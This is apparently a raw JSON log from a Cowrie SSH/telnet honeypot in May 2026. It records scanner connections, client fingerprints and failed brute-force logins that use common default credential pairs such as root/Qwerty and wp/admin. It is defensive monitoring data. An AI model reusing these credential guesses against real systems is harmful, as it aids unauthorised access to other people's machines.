{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52700,"dst_ip":"159.203.135.109","dst_port":23,"session":"8122132b4379","protocol":"telnet","message":"New connection: 134.209.8.29:52700 (159.203.135.109:23) [session: 8122132b4379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:09.329912Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50818,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b7d72e465ea","protocol":"ssh","message":"New connection: 176.65.132.254:50818 (10.17.0.5:22) [session: 0b7d72e465ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:11.380318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:11.492549Z","src_ip":"176.65.132.254","session":"0b7d72e465ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:11.497427Z","src_ip":"176.65.132.254","session":"0b7d72e465ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43744,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80b22c0aa15","protocol":"telnet","message":"New connection: 62.210.97.77:43744 (10.17.0.5:23) [session: f80b22c0aa15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:11.801689Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:11.850638Z","src_ip":"176.65.132.254","session":"0b7d72e465ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:12.947402Z","src_ip":"176.65.132.254","session":"0b7d72e465ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43826,"dst_ip":"159.203.135.109","dst_port":23,"session":"56affebf427a","protocol":"telnet","message":"New connection: 134.209.8.29:43826 (159.203.135.109:23) [session: 56affebf427a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:13.058064Z"}
{"eventid":"cowrie.session.closed","duration":31.195979118347168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:13.656623Z","src_ip":"62.210.97.77","session":"27ab61d42a37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.360389709472656,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:13.891494Z","src_ip":"62.210.97.77","session":"df08cfa41d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43834,"dst_ip":"159.203.135.109","dst_port":23,"session":"023e64f957fa","protocol":"telnet","message":"New connection: 134.209.8.29:43834 (159.203.135.109:23) [session: 023e64f957fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.015670Z"}
{"eventid":"cowrie.session.closed","duration":40.43066453933716,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.159032Z","src_ip":"65.60.27.33","session":"cbfc13bdb2f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43756,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d3d6c50e13","protocol":"telnet","message":"New connection: 62.210.97.77:43756 (10.17.0.5:23) [session: 96d3d6c50e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.660910Z"}
{"eventid":"cowrie.session.closed","duration":5.450109004974365,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.779891Z","src_ip":"134.209.8.29","session":"8122132b4379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37323355674744,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.795941Z","src_ip":"62.210.97.77","session":"5fcce69f4c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":59046,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a2164c634d","protocol":"ssh","message":"New connection: 187.16.96.250:59046 (10.17.0.5:22) [session: 22a2164c634d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.801718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.807152Z","src_ip":"187.16.96.250","session":"22a2164c634d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:14.925966Z","src_ip":"187.16.96.250","session":"22a2164c634d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.2846417427063,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:15.303553Z","src_ip":"62.210.97.77","session":"0f438c070ab8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wp","password":"admin","message":"login attempt [wp/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:15.428699Z","src_ip":"187.16.96.250","session":"22a2164c634d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50622,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b237e3d1f59","protocol":"ssh","message":"New connection: 176.65.132.254:50622 (10.17.0.5:22) [session: 1b237e3d1f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:15.684433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:15.688976Z","src_ip":"176.65.132.254","session":"1b237e3d1f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:15.770919Z","src_ip":"176.65.132.254","session":"1b237e3d1f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43770,"dst_ip":"10.17.0.5","dst_port":23,"session":"0989e332b08d","protocol":"telnet","message":"New connection: 62.210.97.77:43770 (10.17.0.5:23) [session: 0989e332b08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:15.904990Z"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:16.358498Z","src_ip":"176.65.132.254","session":"1b237e3d1f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:16.549993Z","src_ip":"187.16.96.250","session":"22a2164c634d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43850,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c0a2e1333c","protocol":"telnet","message":"New connection: 134.209.8.29:43850 (159.203.135.109:23) [session: 86c0a2e1333c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:16.747356Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43774,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de2429b6044","protocol":"telnet","message":"New connection: 62.210.97.77:43774 (10.17.0.5:23) [session: 1de2429b6044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:17.107196Z"}
{"eventid":"cowrie.session.closed","duration":34.91920828819275,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:17.166417Z","src_ip":"62.210.97.77","session":"a739cea0fcba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.153810262680054,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:17.376581Z","src_ip":"62.210.97.77","session":"03797c60e4c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:17.444834Z","src_ip":"176.65.132.254","session":"1b237e3d1f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43782,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac08996abd23","protocol":"telnet","message":"New connection: 62.210.97.77:43782 (10.17.0.5:23) [session: ac08996abd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:17.698594Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f73a1213210","protocol":"telnet","message":"New connection: 38.54.119.93:51544 (10.17.0.5:23) [session: 9f73a1213210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:17.758764Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54142,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb347173326","protocol":"telnet","message":"New connection: 65.60.27.33:54142 (10.17.0.5:23) [session: fbb347173326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:18.015100Z"}
{"eventid":"cowrie.session.closed","duration":35.900585889816284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:18.081508Z","src_ip":"62.210.97.77","session":"2e3fa6405954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.773833751678467,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:18.565145Z","src_ip":"134.209.8.29","session":"51f5faf0a115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.88288235664368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:19.013481Z","src_ip":"62.210.97.77","session":"208451d891e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50024,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df8b7861b92","protocol":"telnet","message":"New connection: 62.210.97.77:50024 (10.17.0.5:23) [session: 9df8b7861b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:19.314898Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50642,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6ca097696eb","protocol":"ssh","message":"New connection: 176.65.132.254:50642 (10.17.0.5:22) [session: e6ca097696eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:20.470870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:20.475652Z","src_ip":"176.65.132.254","session":"e6ca097696eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:20.558990Z","src_ip":"176.65.132.254","session":"e6ca097696eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":52694,"dst_ip":"159.203.135.109","dst_port":23,"session":"1540084d656b","protocol":"telnet","message":"New connection: 136.144.139.78:52694 (159.203.135.109:23) [session: 1540084d656b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:20.692130Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:20.846584Z","src_ip":"176.65.132.254","session":"e6ca097696eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50026,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a5d67334d7","protocol":"telnet","message":"New connection: 62.210.97.77:50026 (10.17.0.5:23) [session: f6a5d67334d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:21.480754Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:22.059477Z","src_ip":"176.65.132.254","session":"e6ca097696eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.11910653114319,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:22.986679Z","src_ip":"38.54.119.93","session":"054fd51a7d31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43866,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a9aad5f2d23","protocol":"telnet","message":"New connection: 134.209.8.29:43866 (159.203.135.109:23) [session: 4a9aad5f2d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:23.043007Z"}
{"eventid":"cowrie.session.closed","duration":38.2614586353302,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:23.680219Z","src_ip":"62.210.97.77","session":"7ffdcfdadd47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.443944215774536,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:23.831246Z","src_ip":"62.210.97.77","session":"bb14e476621e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50038,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc6a0143f388","protocol":"telnet","message":"New connection: 62.210.97.77:50038 (10.17.0.5:23) [session: cc6a0143f388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:24.005487Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50052,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fea9899983a","protocol":"telnet","message":"New connection: 62.210.97.77:50052 (10.17.0.5:23) [session: 2fea9899983a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:24.763262Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34632,"dst_ip":"10.17.0.5","dst_port":22,"session":"88d66abf7ca6","protocol":"ssh","message":"New connection: 176.65.132.254:34632 (10.17.0.5:22) [session: 88d66abf7ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:24.948746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:24.954596Z","src_ip":"176.65.132.254","session":"88d66abf7ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:25.037868Z","src_ip":"176.65.132.254","session":"88d66abf7ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:25.285426Z","src_ip":"176.65.132.254","session":"88d66abf7ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50054,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7abecf55ef","protocol":"telnet","message":"New connection: 62.210.97.77:50054 (10.17.0.5:23) [session: cf7abecf55ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:26.267998Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57914,"dst_ip":"159.203.135.109","dst_port":23,"session":"d024ca3c5e71","protocol":"telnet","message":"New connection: 134.209.8.29:57914 (159.203.135.109:23) [session: d024ca3c5e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:26.286237Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:26.377915Z","src_ip":"176.65.132.254","session":"88d66abf7ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.289191007614136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:26.696440Z","src_ip":"62.210.97.77","session":"c9f8881bcf22","protocol":"telnet"}
